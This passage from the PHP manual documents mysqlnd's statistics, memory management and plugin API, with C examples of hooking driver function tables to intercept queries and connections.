  • MYSQL_TYPE_GEOMETRY - proto_text_fetched_geometry

  • Any MYSQL_TYPE_* not listed before (there should be none) - proto_text_fetched_other

Note that the MYSQL_*-type constants may not be associated with the very same SQL column types in every version of MySQL.

proto_binary_fetched_null, proto_binary_fetched_bit, proto_binary_fetched_tinyint proto_binary_fetched_short, proto_binary_fetched_int24, proto_binary_fetched_int, proto_binary_fetched_bigint, proto_binary_fetched_decimal, proto_binary_fetched_float, proto_binary_fetched_double, proto_binary_fetched_date, proto_binary_fetched_year, proto_binary_fetched_time, proto_binary_fetched_datetime, proto_binary_fetched_timestamp, proto_binary_fetched_string, proto_binary_fetched_blob, proto_binary_fetched_enum, proto_binary_fetched_set, proto_binary_fetched_geometry, proto_binary_fetched_other | Connection | Total number of columns of a certain type fetched from a prepared statement (MySQL binary protocol). | For type mapping see proto_text_* described in the preceding text.
Returned mysqlnd statistics: Connection
Statistic | Scope | Description | Notes
connect_success, connect_failure | Connection | Total number of successful / failed connection attempt. | Reused connections and all other kinds of connections are included.
reconnect | Process | Total number of (real_)connect attempts made on an already opened connection handle. | The code sequence $link = new mysqli(...); $link->real_connect(...) will cause a reconnect. But $link = new mysqli(...); $link->connect(...) will not because $link->connect(...) will explicitly close the existing connection before a new connection is established.
pconnect_success | Connection | Total number of successful persistent connection attempts. | Note that connect_success holds the sum of successful persistent and non-persistent connection attempts. The number of successful non-persistent connection attempts is connect_success - pconnect_success.
active_connections | Connection | Total number of active persistent and non-persistent connections.
active_persistent_connections | Connection | Total number of active persistent connections. | The total number of active non-persistent connections is active_connections - active_persistent_connections.
explicit_close Connection Total number of explicitly closed connections (ext/mysqli only). Examples of code snippets that cause an explicit close :
$link = new mysqli(...); $link->close(...)
$link = new mysqli(...); $link->connect(...)
implicit_close Connection Total number of implicitly closed connections (ext/mysqli only). Examples of code snippets that cause an implicit close :

  • $link = new mysqli(...); $link->real_connect(...)

  • unset($link)

  • Persistent connection: pooled connection has been created with real_connect and there may be unknown options set - close implicitly to avoid returning a connection with unknown options

  • Persistent connection: ping/change_user fails and ext/mysqli closes the connection

  • end of script execution: close connections that have not been closed by the user

disconnect_close | Connection | Connection failures indicated by the C API call mysql_real_connect() during an attempt to establish a connection. | It is called disconnect_close because the connection handle passed to the C API call will be closed.
in_middle_of_command_close | Process | A connection has been closed in the middle of a command execution (outstanding result sets not fetched, after sending a query and before retrieving an answer, while fetching data, while transferring data with LOAD DATA). | Unless you use asynchronous queries this should only happen if your script stops unexpectedly and PHP shuts down the connections for you.
init_command_executed_count | Connection | Total number of init command executions, for example, mysqli_options(MYSQLI_INIT_COMMAND , ...). | The number of successful executions is init_command_executed_count - init_command_failed_count.
init_command_failed_count | Connection | Total number of failed init commands.
Returned mysqlnd statistics: COM_* Command
Statistic Scope Description Notes
com_quit, com_init_db, com_query, com_field_list, com_create_db, com_drop_db, com_refresh, com_shutdown, com_statistics, com_process_info, com_connect, com_process_kill, com_debug, com_ping, com_time, com_delayed_insert, com_change_user, com_binlog_dump, com_table_dump, com_connect_out, com_register_slave, com_stmt_prepare, com_stmt_execute, com_stmt_send_long_data, com_stmt_close, com_stmt_reset, com_stmt_set_option, com_stmt_fetch, com_daemon Connection Total number of attempts to send a certain COM_* command from PHP to MySQL.

The statistics are incremented after checking the line and immediately before sending the corresponding MySQL client server protocol packet. If mysqlnd fails to send the packet over the wire the statistics will not be decremented. In case of a failure mysqlnd emits a PHP warning "Error while sending %s packet. PID=%d."

Usage examples:

  • Check if PHP sends certain commands to MySQL, for example, check if a client sends COM_PROCESS_KILL

  • Calculate the average number of prepared statement executions by comparing COM_EXECUTE with COM_PREPARE

  • Check if PHP has run any non-prepared SQL statements by checking if COM_QUERY is zero

  • Identify PHP scripts that run an excessive number of SQL statements by checking COM_QUERY and COM_EXECUTE

Miscellaneous

Returned mysqlnd statistics: Miscellaneous
Statistic | Scope | Description | Notes
explicit_stmt_close, implicit_stmt_close | Process | Total number of close prepared statements. | A close is always considered explicit but for a failed prepare.
mem_emalloc_count, mem_emalloc_ammount, mem_ecalloc_count, mem_ecalloc_ammount, mem_erealloc_count, mem_erealloc_ammount, mem_efree_count, mem_malloc_count, mem_malloc_ammount, mem_calloc_count, mem_calloc_ammount, mem_realloc_count, mem_realloc_ammount, mem_free_count | Process | Memory management calls. | Development only.
command_buffer_too_small Connection Number of network command buffer extensions while sending commands from PHP to MySQL.

mysqlnd allocates an internal command/network buffer of mysqlnd.net_cmd_buffer_size (php.ini) bytes for every connection. If a MySQL Client Server protocol command, for example, COM_QUERY (normal query), does not fit into the buffer, mysqlnd will grow the buffer to what is needed for sending the command. Whenever the buffer gets extended for one connection command_buffer_too_small will be incremented by one.

If mysqlnd has to grow the buffer beyond its initial size of mysqlnd.net_cmd_buffer_size (php.ini) bytes for almost every connection, you should consider to increase the default size to avoid re-allocations.

The default buffer size is 2048 bytes in PHP 5.3.0. In future versions the default will be 4kB or larger. The default can changed either through the php.ini setting mysqlnd.net_cmd_buffer_size or using mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size).

It is recommended to set the buffer size to no less than 4096 bytes because mysqlnd also uses it when reading certain communication packet from MySQL. In PHP 5.3.0, mysqlnd will not grow the buffer if MySQL sends a packet that is larger than the current size of the buffer. As a consequence mysqlnd is unable to decode the packet and the client application will get an error. There are only two situations when the packet can be larger than the 2048 bytes default of mysqlnd.net_cmd_buffer_size in PHP 5.3.0: the packet transports a very long error message or the packet holds column meta data from COM_LIST_FIELD (mysql_list_fields()) and the meta data comes from a string column with a very long default value (>1900 bytes). No bug report on this exists - it should happen rarely.

As of PHP 5.3.2 mysqlnd does not allow setting buffers smaller than 4096 bytes.

connection_reused

User Contributed Notes

There are no user contributed notes for this page.


Notes

This section provides a collection of miscellaneous notes on MySQL Native Driver usage.

  • Using mysqlnd means using PHP streams for underlying connectivity. For mysqlnd, the PHP streams documentation (Streams) should be consulted on such details as timeout settings, not the documentation for the MySQL Client Library.

User Contributed Notes

Les Brown 23-Feb-2010 08:04
After upgrading from php 5.2 to php 5.3 on Windows, I was unable to connect to MySQL databases on localhost. I eventually tracked the problem down to entries in my hosts file:
It contained:
127.0.0.1       localhost
[...]
::1             localhost
Commenting out the second line fixed the problem.

The problem is explained here: http://bugs.php.net/bug.php?id=50172


Memory management

Introduction

The MySQL Native Driver manages memory different than the MySQL Client Library. The libraries differ in the way memory is allocated and released, how memory is allocated in chunks while reading results from MySQL, which debug and development options exist, and how results read from MySQL are linked to PHP user variables.

The following notes are intended as an introduction and summary to users interested at understanding the MySQL Native Driver at the C code level.

Memory management functions used

All memory allocation and deallocation is done using the PHP memory management functions. Therefore, the memory consumption of mysqlnd can be tracked using PHP API calls, such as memory_get_usage(). Because memory is allocated and released using the PHP memory management, the changes may not immediately become visible at the operating system level. The PHP memory management acts as a proxy which may delay releasing memory towards the system. Due to this, comparing the memory usage of the MySQL Native Driver and the MySQL Client Library is difficult. The MySQL Client Library is using the operating system memory management calls directly, hence the effects can be observed immediately at the operating system level.

Any memory limit enforced by PHP also affects the MySQL Native Driver. This may cause out of memory errors when fetching large result sets that exceed the size of the remaining memory made available by PHP. Because the MySQL Client Library is not using PHP memory management functions, it does not comply to any PHP memory limit set. If using the MySQL Client Library, depending on the deployment model, the memory footprint of the PHP process may grow beyond the PHP memory limit. But also PHP scripts may be able to process larger result sets as parts of the memory allocated to hold the result sets are beyond the control of the PHP engine.

PHP memory management functions are invoked by the MySQL Native Driver through a lightweight wrapper. Among others, the wrapper makes debugging easier.

Handling of result sets

The various MySQL Server and the various client APIs differentiate between buffered and unbuffered result sets. Unbuffered result sets are transferred row-by-row from MySQL to the client as the client iterates over the results. Buffered results are fetched in their entirety by the client library before passing them on to the client.

The MySQL Native Driver is using PHP Streams for the network communication with the MySQL Server. Results sent by MySQL are fetched from the PHP Streams network buffers into the result buffer of mysqlnd. The result buffer is made of zvals. In a second step the results are made available to the PHP script. This final transfer from the result buffer into PHP variables impacts the memory consumption and is mostly noticible when using buffered result sets.

By default the MySQL Native Driver tries to avoid holding buffered results twice in memory. Results are kept only once in the internal result buffers and their zvals. When results are fetched into PHP variables by the PHP script, the variables will reference the internal result buffers. Database query results are not copied and kept in memory only once. Should the user modify the contents of a variable holding the database results a copy-on-write must be performed to avoid changing the referenced internal result buffer. The contents of the buffer must not be modified because the user may decide to read the result set a second time. The copy-on-write mechanism is implemented using an additional reference management list and the use of standard zval reference counters. Copy-on-write must also be done if the user reads a result set into PHP variables and frees a result set before the variables are unset.

Generally speaking, this pattern works well for scripts that read a result set once and do not modify variables holding results. Its major drawback is the memory overhead caused by the additional reference management which comes primarily from the fact that user variables holding results cannot be entirely released until the mysqlnd reference management stops referencing them. The MySQL Native driver removes the reference to the user variables when the result set is freed or a copy-on-write is performed. An observer will see the total memory consumption grow until the result set is released. Use the statistics to check whether a script does release result sets explicitly or the driver is does implicit releases and thus memory is used for a time longer than necessary. Statistics also help to see how many copy-on-write operations happened.

A PHP script reading many small rows of a buffered result set using a code snippet equal or equivalent to while ($row = $res->fetch_assoc()) { ... } may optimize memory consumption by requesting copies instead of references. Albeit requesting copies means keeping results twice in memory, it allows PHP to free the copy contained in $row as the result set is being iterated and prior to releasing the result set itself. On a loaded server optimizing peak memory usage may help improving the overall system performace although for an individual script the copy approach may be slower due to additional allocations and memory copy operations.

The copy mode can be enforced by setting mysqlnd.fetch_data_copy=1.

Monitoring and debugging

There are multiple ways of tracking the memory usage of the MySQL Native Driver. If the goal is to get a quick high level overview or to verify the memory efficiency of PHP scripts, then check the statistics collected by the library. The statistics allow you, for example, to catch SQL statements which generate more results than are processed by a PHP script.

The debug trace log can be configured to record memory management calls. This helps to see when memory is allocated or free'd. However, the size of the requested memory chunks may not be listed.

Some, recent versions of the MySQL Native Driver feature the emulation of random out of memory situations. This feature is meant to be used by the C developers of the library or mysqlnd plugin authors only. Please, search the source code for corresponding PHP configuration settings and further details. The feature is considered private and may be modified at any time without prior notice.

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driver Plugin API

Table of Contents

  • A comparison of mysqlnd plugins with MySQL Proxy
  • Obtaining the mysqlnd plugin API
  • MySQL Native Driver Plugin Architecture
  • The mysqlnd plugin API
  • Getting started building a mysqlnd plugin

The MySQL Native Driver Plugin API is a feature of MySQL Native Driver, or mysqlnd. Mysqlnd plugins operate in the layer between PHP applications and the MySQL server. This is comparable to MySQL Proxy. MySQL Proxy operates on a layer between any MySQL client application, for example, a PHP application and, the MySQL server. Mysqlnd plugins can undertake typical MySQL Proxy tasks such as load balancing, monitoring and performance optimizations. Due to the different architecture and location, mysqlnd plugins do not have some of MySQL Proxy's disadvantages. For example, with plugins, there is no single point of failure, no dedicated proxy server to deploy, and no new programming language to learn (Lua).

A mysqlnd plugin can be thought of as an extension to mysqlnd. Plugins can intercept the majority of mysqlnd functions. The mysqlnd functions are called by the PHP MySQL extensions such as ext/mysql, ext/mysqli, and PDO_MYSQL. As a result, it is possible for a mysqlnd plugin to intercept all calls made to these extensions from the client application.

Internal mysqlnd function calls can also be intercepted, or replaced. There are no restrictions on manipulating mysqlnd internal function tables. It is possible to set things up so that when certain mysqlnd functions are called by the extensions that use mysqlnd, the call is directed to the appropriate function in the mysqlnd plugin. The ability to manipulate mysqlnd internal function tables in this way allows maximum flexibility for plugins.

Mysqlnd plugins are in fact PHP Extensions, written in C, that use the mysqlnd plugin API (which is built into MySQL Native Driver, mysqlnd). Plugins can be made 100% transparent to PHP applications. No application changes are needed because plugins operate on a different layer. The mysqlnd plugin can be thought of as operating in a layer below mysqlnd.

The following list represents some possible applications of mysqlnd plugins.

  • Load Balancing

    • Read/Write Splitting. An example of this is the PECL/mysqlnd_ms (Master Slave) extension. This extension splits read/write queries for a replication setup.

    • Failover

    • Round-Robin, least loaded

  • Monitoring

    • Query Logging

    • Query Analysis

    • Query Auditing. An example of this is the PECL/mysqlnd_sip (SQL Injection Protection) extension. This extension inspects queries and executes only those that are allowed according to a ruleset.

  • Performance

    • Caching. An example of this is the PECL/mysqlnd_qc (Query Cache) extension.

    • Throttling

    • Sharding. An example of this is the PECL/mysqlnd_mc (Multi Connect) extension. This extension will attempt to split a SELECT statement into n-parts, using SELECT ... LIMIT part_1, SELECT LIMIT part_n. It sends the queries to distinct MySQL servers and merges the result at the client.

MySQL Native Driver Plugins Available

There are a number of mysqlnd plugins already available. These include:

  • PECL/mysqlnd_mc - Multi Connect plugin.

  • PECL/mysqlnd_ms - Master Slave plugin.

  • PECL/mysqlnd_qc - Query Cache plugin.

  • PECL/mysqlnd_pscache - Prepared Statement Handle Cache plugin.

  • PECL/mysqlnd_sip - SQL Injection Protection plugin.

  • PECL/mysqlnd_uh - User Handler plugin.

User Contributed Notes

There are no user contributed notes for this page.


A comparison of mysqlnd plugins with MySQL Proxy

Mysqlnd plugins and MySQL Proxy are different technologies using different approaches. Both are valid tools for solving a variety of common tasks such as load balancing, monitoring, and performance enhancements. An important difference is that MySQL Proxy works with all MySQL clients, whereas mysqlnd plugins are specific to PHP applications.

As a PHP Extension, a mysqlnd plugin gets installed on the PHP application server, along with the rest of PHP. MySQL Proxy can either be run on the PHP application server or can be installed on a dedicated machine to handle multiple PHP application servers.

Deploying MySQL Proxy on the application server has two advantages:

  1. No single point of failure

  2. Easy to scale out (horizontal scale out, scale by client)

MySQL Proxy (and mysqlnd plugins) can solve problems easily which otherwise would have required changes to existing applications.

However, MySQL Proxy does have some disadvantages:

  • MySQL Proxy is a new component and technology to master and deploy.

  • MySQL Proxy requires knowledge of the Lua scripting language.

MySQL Proxy can be customized with C and Lua programming. Lua is the preferred scripting language of MySQL Proxy. For most PHP experts Lua is a new language to learn. A mysqlnd plugin can be written in C. It is also possible to write plugins in PHP using » PECL/mysqlnd_uh.

MySQL Proxy runs as a daemon - a background process. MySQL Proxy can recall earlier decisions, as all state can be retained. However, a mysqlnd plugin is bound to the request-based lifecycle of PHP. MySQL Proxy can also share one-time computed results among multiple application servers. A mysqlnd plugin would need to store data in a persistent medium to be able to do this. Another daemon would need to be used for this purpose, such as Memcache. This gives MySQL Proxy an advantage in this case.

MySQL Proxy works on top of the wire protocol. With MySQL Proxy you have to parse and reverse engineer the MySQL Client Server Protocol. Actions are limited to those that can be achieved by manipulating the communication protocol. If the wire protocol changes (which happens very rarely) MySQL Proxy scripts would need to be changed as well.

Mysqlnd plugins work on top of the C API, which mirrors the libmysqlclient client and Connector/C APIs. This C API is basically a wrapper around the MySQL Client Server protocol, or wire protocol, as it is sometimes called. You can intercept all C API calls. PHP makes use of the C API, therefore you can hook all PHP calls, without the need to program at the level of the wire protocol.

Mysqlnd implements the wire protocol. Plugins can therefore parse, reverse engineer, manipulate and even replace the communication protocol. However, this is usually not required.

As plugins allow you to create implementations that use two levels (C API and wire protocol), they have greater flexibility than MySQL Proxy. If a mysqlnd plugin is implemented using the C API, any subsequent changes to the wire protocol do not require changes to the plugin itself.

User Contributed Notes

There are no user contributed notes for this page.


Obtaining the mysqlnd plugin API

The mysqlnd plugin API is simply part of the MySQL Native Driver PHP extension, ext/mysqlnd. Development started on the mysqlnd plugin API in December 2009. It is developed as part of the PHP source repository, and as such is available to the public either via Git, or through source snapshot downloads.

The following table shows PHP versions and the corresponding mysqlnd version contained within.

The bundled mysqlnd version per PHP release
PHP Version | MySQL Native Driver version
5.3.0 | 5.0.5
5.3.1 | 5.0.5
5.3.2 | 5.0.7
5.3.3 | 5.0.7
5.3.4 | 5.0.7

Plugin developers can determine the mysqlnd version through accessing MYSQLND_VERSION, which is a string of the format "mysqlnd 5.0.7-dev - 091210 - $Revision: 300535", or through MYSQLND_VERSION_ID, which is an integer such as 50007. Developers can calculate the version number as follows:

MYSQLND_VERSION_ID calculation table
Version (part) | Example
Major*10000 | 5*10000 = 50000
Minor*100 | 0*100 = 0
Patch | 7 = 7
MYSQLND_VERSION_ID | 50007

During development, developers should refer to the mysqlnd version number for compatibility and version tests, as several iterations of mysqlnd could occur during the lifetime of a PHP development branch with a single PHP version number.

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driver Plugin Architecture

This section provides an overview of the mysqlnd plugin architecture.

MySQL Native Driver Overview

Before developing mysqlnd plugins, it is useful to know a little of how mysqlnd itself is organized. Mysqlnd consists of the following modules:

The mysqlnd organization chart, per module
Modules Statistics | mysqlnd_statistics.c
Connection | mysqlnd.c
Resultset | mysqlnd_result.c
Resultset Metadata | mysqlnd_result_meta.c
Statement | mysqlnd_ps.c
Network | mysqlnd_net.c
Wire protocol | mysqlnd_wireprotocol.c

C Object Oriented Paradigm

At the code level, mysqlnd uses a C pattern for implementing object orientation.

In C you use a struct to represent an object. Members of the struct represent object properties. Struct members pointing to functions represent methods.

Unlike with other languages such as C++ or Java, there are no fixed rules on inheritance in the C object oriented paradigm. However, there are some conventions that need to be followed that will be discussed later.

The PHP Life Cycle

When considering the PHP life cycle there are two basic cycles:

  • PHP engine startup and shutdown cycle

  • Request cycle

When the PHP engine starts up it will call the module initialization (MINIT) function of each registered extension. This allows each module to setup variables and allocate resources that will exist for the lifetime of the PHP engine process. When the PHP engine shuts down it will call the module shutdown (MSHUTDOWN) function of each extension.

During the lifetime of the PHP engine it will receive a number of requests. Each request constitutes another life cycle. On each request the PHP engine will call the request initialization function of each extension. The extension can perform any variable setup and resource allocation required for request processing. As the request cycle ends the engine calls the request shutdown (RSHUTDOWN) function of each extension so the extension can perform any cleanup required.

How a plugin works

A mysqlnd plugin works by intercepting calls made to mysqlnd by extensions that use mysqlnd. This is achieved by obtaining the mysqlnd function table, backing it up, and replacing it by a custom function table, which calls the functions of the plugin as required.

The following code shows how the mysqlnd function table is replaced:

/* a place to store original function table */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
  /* active function table */
  struct st_mysqlnd_conn_methods * current_methods
    = mysqlnd_conn_get_methods();

  /* backup original function table */
  memcpy(&org_methods, current_methods,
    sizeof(struct st_mysqlnd_conn_methods);

  /* install new methods */
  current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

Connection function table manipulations must be done during Module Initialization (MINIT). The function table is a global shared resource. In an multi-threaded environment, with a TSRM build, the manipulation of a global shared resource during the request processing will almost certainly result in conflicts.

Note:

Do not use any fixed-size logic when manipulating the mysqlnd function table: new methods may be added at the end of the function table. The function table may change at any time in the future.

Calling parent methods

If the original function table entries are backed up, it is still possible to call the original function table entries - the parent methods.

In some cases, such as for Connection::stmt_init(), it is vital to call the parent method prior to any other activity in the derived method.

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
  const char *query, unsigned int query_len TSRMLS_DC) {

  php_printf("my_conn_class::query(query = %s)\n", query);

  query = "SELECT 'query rewritten' FROM DUAL";
  query_len = strlen(query);

  return org_methods.query(conn, query, query_len); /* return with call to parent */
}

Extending properties

A mysqlnd object is represented by a C struct. It is not possible to add a member to a C struct at run time. Users of mysqlnd objects cannot simply add properties to the objects.

Arbitrary data (properties) can be added to a mysqlnd objects using an appropriate function of the mysqlnd_plugin_get_plugin_<object>_data() family. When allocating an object mysqlnd reserves space at the end of the object to hold a void * pointer to arbitrary data. mysqlnd reserves space for one void * pointer per plugin.

The following table shows how to calculate the position of the pointer for a specific plugin:

Pointer calculations for mysqlnd
Memory address | Contents
0 | Beginning of the mysqlnd object C struct
n | End of the mysqlnd object C struct
n + (m x sizeof(void*)) | void* to object data of the m-th plugin

If you plan to subclass any of the mysqlnd object constructors, which is allowed, you must keep this in mind!

The following code shows extending properties:

/* any data we want to associate */
typedef struct my_conn_properties {
  unsigned long query_counter;
} MY_CONN_PROPERTIES;

/* plugin id */
unsigned int my_plugin_id;

void minit_register_hooks(TSRMLS_D) {
  /* obtain unique plugin ID */
  my_plugin_id = mysqlnd_plugin_register();
  /* snip - see Extending Connection: methods */
}

static MY_CONN_PROPERTIES** get_conn_properties(const MYSQLND *conn TSRMLS_DC) {
  MY_CONN_PROPERTIES** props;
  props = (MY_CONN_PROPERTIES**)mysqlnd_plugin_get_plugin_connection_data(
    conn, my_plugin_id);
  if (!props || !(*props)) {
    *props = mnd_pecalloc(1, sizeof(MY_CONN_PROPERTIES), conn->persistent);
    (*props)->query_counter = 0;
  }
  return props;
}

The plugin developer is responsible for the management of plugin data memory.

Use of the mysqlnd memory allocator is recommended for plugin data. These functions are named using the convention: mnd_*loc(). The mysqlnd allocator has some useful features, such as the ability to use a debug allocator in a non-debug build.

When and how to subclass
 | When to subclass? | Each instance has its own private function table? | How to subclass?
Connection (MYSQLND) | MINIT | No | mysqlnd_conn_get_methods()
Resultset (MYSQLND_RES) | MINIT or later | Yes | mysqlnd_result_get_methods() or object method function table manipulation
Resultset Meta (MYSQLND_RES_METADATA) | MINIT | No | mysqlnd_result_metadata_get_methods()
Statement (MYSQLND_STMT) | MINIT | No | mysqlnd_stmt_get_methods()
Network (MYSQLND_NET) | MINIT or later | Yes | mysqlnd_net_get_methods() or object method function table manipulation
Wire protocol (MYSQLND_PROTOCOL) | MINIT or later | Yes | mysqlnd_protocol_get_methods() or object method function table manipulation

You must not manipulate function tables at any time later than MINIT if it is not allowed according to the above table.

Some classes contain a pointer to the method function table. All instances of such a class will share the same function table. To avoid chaos, in particular in threaded environments, such function tables must only be manipulated during MINIT.

Other classes use copies of a globally shared function table. The class function table copy is created together with the object. Each object uses its own function table. This gives you two options: you can manipulate the default function table of an object at MINIT, and you can additionally refine methods of an object without impacting other instances of the same class.

The advantage of the shared function table approach is performance. There is no need to copy a function table for each and every object.

Constructor status
Allocation, construction, reset | Can be modified? | Caller
Connection (MYSQLND) | mysqlnd_init() | No | mysqlnd_connect()
Resultset(MYSQLND_RES)

Allocation:

  • Connection::result_init()

Reset and re-initialized during:

  • Result::use_result()

  • Result::store_result

Yes, but call parent!

  • Connection::list_fields()

  • Statement::get_result()

  • Statement::prepare() (Metadata only)

  • Statement::resultMetaData()

Resultset Meta (MYSQLND_RES_METADATA) | Connection::result_meta_init() | Yes, but call parent! | Result::read_result_metadata()
Statement (MYSQLND_STMT) | Connection::stmt_init() | Yes, but call parent! | Connection::stmt_init()
Network (MYSQLND_NET) | mysqlnd_net_init() | No | Connection::init()
Wire protocol (MYSQLND_PROTOCOL) | mysqlnd_protocol_init() | No | Connection::init()

It is strongly recommended that you do not entirely replace a constructor. The constructors perform memory allocations. The memory allocations are vital for the mysqlnd plugin API and the object logic of mysqlnd. If you do not care about warnings and insist on hooking the constructors, you should at least call the parent constructor before doing anything in your constructor.

Regardless of all warnings, it can be useful to subclass constructors. Constructors are the perfect place for modifying the function tables of objects with non-shared object tables, such as Resultset, Network, Wire Protocol.

Destruction status
 | Derived method must call parent? | Destructor
Connection | yes, after method execution | free_contents(), end_psession()
Resultset | yes, after method execution | free_result()
Resultset Meta | yes, after method execution | free()
Statement | yes, after method execution | dtor(), free_stmt_content()
Network | yes, after method execution | free()
Wire protocol | yes, after method execution | free()

The destructors are the appropriate place to free properties, mysqlnd_plugin_get_plugin_<object>_data().

The listed destructors may not be equivalent to the actual mysqlnd method freeing the object itself. However, they are the best possible place for you to hook in and free your plugin data. As with constructors you may replace the methods entirely but this is not recommended. If multiple methods are listed in the above table you will need to hook all of the listed methods and free your plugin data in whichever method is called first by mysqlnd.

The recommended method for plugins is to simply hook the methods, free your memory and call the parent implementation immediately following this.

Caution

Due to a bug in PHP versions 5.3.0 to 5.3.3, plugins do not associate plugin data with a persistent connection. This is because ext/mysql and ext/mysqli do not trigger all the necessary mysqlnd end_psession() method calls and the plugin may therefore leak memory. This has been fixed in PHP 5.3.4.

User Contributed Notes

There are no user contributed notes for this page.


The mysqlnd plugin API

The following is a list of functions provided in the mysqlnd plugin API:

  • mysqlnd_plugin_register()

  • mysqlnd_plugin_count()

  • mysqlnd_plugin_get_plugin_connection_data()

  • mysqlnd_plugin_get_plugin_result_data()

  • mysqlnd_plugin_get_plugin_stmt_data()

  • mysqlnd_plugin_get_plugin_net_data()

  • mysqlnd_plugin_get_plugin_protocol_data()

  • mysqlnd_conn_get_methods()

  • mysqlnd_result_get_methods()

  • mysqlnd_result_meta_get_methods()

  • mysqlnd_stmt_get_methods()

  • mysqlnd_net_get_methods()

  • mysqlnd_protocol_get_methods()

There is no formal definition of what a plugin is and how a plugin mechanism works.

Components often found in plugins mechanisms are:

  • A plugin manager

  • A plugin API

  • Application services (or modules)

  • Application service APIs (or module APIs)

The mysqlnd plugin concept employs these features, and additionally enjoys an open architecture.

No Restrictions

A plugin has full access to the inner workings of mysqlnd. There are no security limits or restrictions. Everything can be overwritten to implement friendly or hostile algorithms. It is recommended you only deploy plugins from a trusted source.

As discussed previously, plugins can use pointers freely. These pointers are not restricted in any way, and can point into another plugin's data. Simple offset arithmetic can be used to read another plugin's data.

It is recommended that you write cooperative plugins, and that you always call the parent method. The plugins should always cooperate with mysqlnd itself.

Issues: an example of chaining and cooperation
Extension | mysqlnd.query() pointer | call stack if calling parent
ext/mysqlnd | mysqlnd.query() | mysqlnd.query
ext/mysqlnd_cache mysqlnd_cache.query()

  1. mysqlnd_cache.query()

  2. mysqlnd.query

ext/mysqlnd_monitor mysqlnd_monitor.query()

  1. mysqlnd_monitor.query()

  2. mysqlnd_cache.query()

  3. mysqlnd.query

In this scenario, a cache (ext/mysqlnd_cache) and a monitor (ext/mysqlnd_monitor) plugin are loaded. Both subclass Connection::query(). Plugin registration happens at MINIT using the logic shown previously. PHP calls extensions in alphabetical order by default. Plugins are not aware of each other and do not set extension dependencies.

By default the plugins call the parent implementation of the query method in their derived version of the method.

PHP Extension Recap

This is a recap of what happens when using an example plugin, ext/mysqlnd_plugin, which exposes the mysqlnd C plugin API to PHP:

  • Any PHP MySQL application tries to establish a connection to 192.168.2.29

  • The PHP application will either use ext/mysql, ext/mysqli or PDO_MYSQL. All three PHP MySQL extensions use mysqlnd to establish the connection to 192.168.2.29.

  • Mysqlnd calls its connect method, which has been subclassed by ext/mysqlnd_plugin.

  • ext/mysqlnd_plugin calls the userspace hook proxy::connect() registered by the user.

  • The userspace hook changes the connection host IP from 192.168.2.29 to 127.0.0.1 and returns the connection established by parent::connect().

  • ext/mysqlnd_plugin performs the equivalent of parent::connect(127.0.0.1) by calling the original mysqlnd method for establishing a connection.

  • ext/mysqlnd establishes a connection and returns to ext/mysqlnd_plugin. ext/mysqlnd_plugin returns as well.

  • Whatever PHP MySQL extension had been used by the application, it receives a connection to 127.0.0.1. The PHP MySQL extension itself returns to the PHP application. The circle is closed.

User Contributed Notes

There are no user contributed notes for this page.


Getting started building a mysqlnd plugin

It is important to remember that a mysqlnd plugin is itself a PHP extension.

The following code shows the basic structure of the MINIT function that will be used in the typical mysqlnd plugin:

/* my_php_mysqlnd_plugin.c */

 static PHP_MINIT_FUNCTION(mysqlnd_plugin) {
  /* globals, ini entries, resources, classes */

  /* register mysqlnd plugin */
  mysqlnd_plugin_id = mysqlnd_plugin_register();

  conn_m = mysqlnd_get_conn_methods();
  memcpy(org_conn_m, conn_m,
    sizeof(struct st_mysqlnd_conn_methods));

  conn_m->query = MYSQLND_METHOD(mysqlnd_plugin_conn, query);
  conn_m->connect = MYSQLND_METHOD(mysqlnd_plugin_conn, connect);
}

/* my_mysqlnd_plugin.c */

 enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, query)(/* ... */) {
  /* ... */
}
enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, connect)(/* ... */) {
  /* ... */
}

Task analysis: from C to userspace

 class proxy extends mysqlnd_plugin_connection {
  public function connect($host, ...) { .. }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

Process:

  1. PHP: user registers plugin callback

  2. PHP: user calls any PHP MySQL API to connect to MySQL

  3. C: ext/*mysql* calls mysqlnd method

  4. C: mysqlnd ends up in ext/mysqlnd_plugin

  5. C: ext/mysqlnd_plugin

    1. Calls userspace callback

    2. Or original mysqlnd method, if userspace callback not set

You need to carry out the following:

  1. Write a class "mysqlnd_plugin_connection" in C

  2. Accept and register proxy object through "mysqlnd_plugin_set_conn_proxy()"

  3. Call userspace proxy methods from C (optimization - zend_interfaces.h)

Userspace object methods can either be called using call_user_function() or you can operate at a level closer to the Zend Engine and use zend_call_method().

Optimization: calling methods from C using zend_call_method

The following code snippet shows the prototype for the zend_call_method function, taken from zend_interfaces.h.

 ZEND_API zval* zend_call_method(
  zval **object_pp, zend_class_entry *obj_ce,
  zend_function **fn_proxy, char *function_name,
  int function_name_len, zval **retval_ptr_ptr,
  int param_count, zval* arg1, zval* arg2 TSRMLS_DC
);

Zend API supports only two arguments. You may need more, for example:

 enum_func_status (*func_mysqlnd_conn__connect)(
  MYSQLND *conn, const char *host,
  const char * user, const char * passwd,
  unsigned int passwd_len, const char * db,
  unsigned int db_len, unsigned int port,
  const char * socket, unsigned int mysql_flags TSRMLS_DC
);

To get around this problem you will need to make a copy of zend_call_method() and add a facility for additional parameters. You can do this by creating a set of MY_ZEND_CALL_METHOD_WRAPPER macros.

Calling PHP userspace

This code snippet shows the optimized method for calling a userspace function from C:

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class,connect)(
  MYSQLND *conn, const char *host /* ... */ TSRMLS_DC) {
  enum_func_status ret = FAIL;
  zval * global_user_conn_proxy = fetch_userspace_proxy();
  if (global_user_conn_proxy) {
    /* call userspace proxy */
    ret = MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, host, /*...*/);
  } else {
    /* or original mysqlnd method = do nothing, be transparent */
    ret = org_methods.connect(conn, host, user, passwd,
          passwd_len, db, db_len, port,
          socket, mysql_flags TSRMLS_CC);
  }
  return ret;
}

Calling userspace: simple arguments

/* my_mysqlnd_plugin.c */

 MYSQLND_METHOD(my_conn_class,connect)(
  /* ... */, const char *host, /* ...*/) {
  /* ... */
